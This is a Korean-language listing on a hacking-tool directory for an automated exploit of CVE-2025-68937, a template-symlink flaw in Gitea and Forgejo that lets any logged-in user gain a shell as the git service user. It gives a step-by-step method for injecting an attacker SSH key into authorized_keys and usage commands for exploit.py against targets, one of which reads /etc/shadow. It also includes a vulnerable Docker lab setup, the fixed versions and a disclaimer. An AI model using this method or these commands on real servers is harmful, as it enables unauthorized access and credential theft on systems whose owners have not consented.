Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
도구/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

저장소 보기
18일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-68937 - Gitea/Forgejo 템플릿 심볼릭 링크 RCE

CVE-2025-68937에 대한 자동화된 개념 증명(PoC): Gitea 및 Forgejo 템플릿 저장소 처리 과정에서 심볼릭 링크 역참조를 통한 디렉터리 트래버설로 원격 코드 실행이 가능합니다.

인증된 모든 사용자(관리자 권한 불필요)는 git 서비스 사용자 셸을 획득할 수 있습니다.

취약점

템플릿에서 새 저장소를 생성할 때 Gitea/Forgejo는 템플릿 파일을 복사하고 .gitea/template에 나열된 파일에서 ${REPO_DESCRIPTION}과 같은 변수를 확장합니다. 이 과정은 검증 없이 심볼릭 링크를 따르므로 공격자가 서버의 임의 파일을 읽고 쓸 수 있습니다.

세부 정보값
CVECVE-2025-68937
CVSS 4.09.5 치명적
CWECWE-61 (UNIX 심볼릭 링크 추적)
인증 필요예 (모든 사용자)
관리자 필요아니요

영향을 받는 버전

소프트웨어영향 받는 버전수정 버전
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

작동 방식

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. 악성 SSH 키 등록 - Gitea에 키의 주석으로 ${REPO_DESCRIPTION}(Gitea가 확장하는 템플릿 변수)을 포함한 SSH 키를 등록합니다.
  2. 템플릿 저장소 생성 - 다음 항목을 포함합니다:
    • 변수 확장을 위해 .gitea/template에 authorized_keys를 나열
    • git 사용자의 실제 authorized_keys 파일을 가리키는 git 심볼릭 링크 authorized_keys
  3. 설명 필드에 공격자의 무제한 SSH 공개 키를 넣고 템플릿에서 하위 저장소 생성
  4. 템플릿 확장이 심볼릭 링크를 따라가며 실제 authorized_keys 파일(주석에 ${REPO_DESCRIPTION}이 포함된 우리가 등록한 키가 들어 있는 파일)을 읽고, 변수를 하위 저장소의 설명(우리의 SSH 키)으로 확장한 다음 그 결과를 심볼릭 링크를 통해 다시 씁니다
  5. 주입된 키로 git SSH 접속 (command= 제한 없음)

사용법

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

옵션

테스트 환경

취약한 인스턴스를 실행합니다:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. http://localhost:3000을 열고 설치 마법사를 완료합니다(SQLite로 충분합니다).
  2. 사용자 계정을 등록합니다.
  3. 다음을 실행합니다:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

요구 사항

  • Python 3.8+
  • requests
  • PATH에 git 및 ssh-keygen

해결 방법

  • Gitea: 1.24.7 이상으로 업그레이드
  • Forgejo: 11.0.7(LTS) 또는 13.0.2+로 업그레이드

참고 자료

  • NVD: CVE-2025-68937
  • GitHub 보안 권고: GHSA-7mhf-6fhv-c83c
  • Gitea 보안 수정 분석 (PR #36734 및 #36746)
  • Gitea 1.24.7 릴리스 노트

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 자신이 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 오용에 대한 책임을 지지 않습니다.

도구 다운로드
플래그기본값설명
-u, --url필수Gitea/Forgejo 기본 URL
-U, --user필수사용자 이름
-P, --password필수비밀번호
--git-home/data/git대상의 Git 사용자 홈 디렉터리
--ssh-host--url에서 가져옴연결할 SSH 호스트
--ssh-port22Gitea SSH 포트
--timeout30SSH 대기 시간(초)
--command대화형셸 획득 후 실행할 명령
--cleanup-익스플로잇 산출물 제거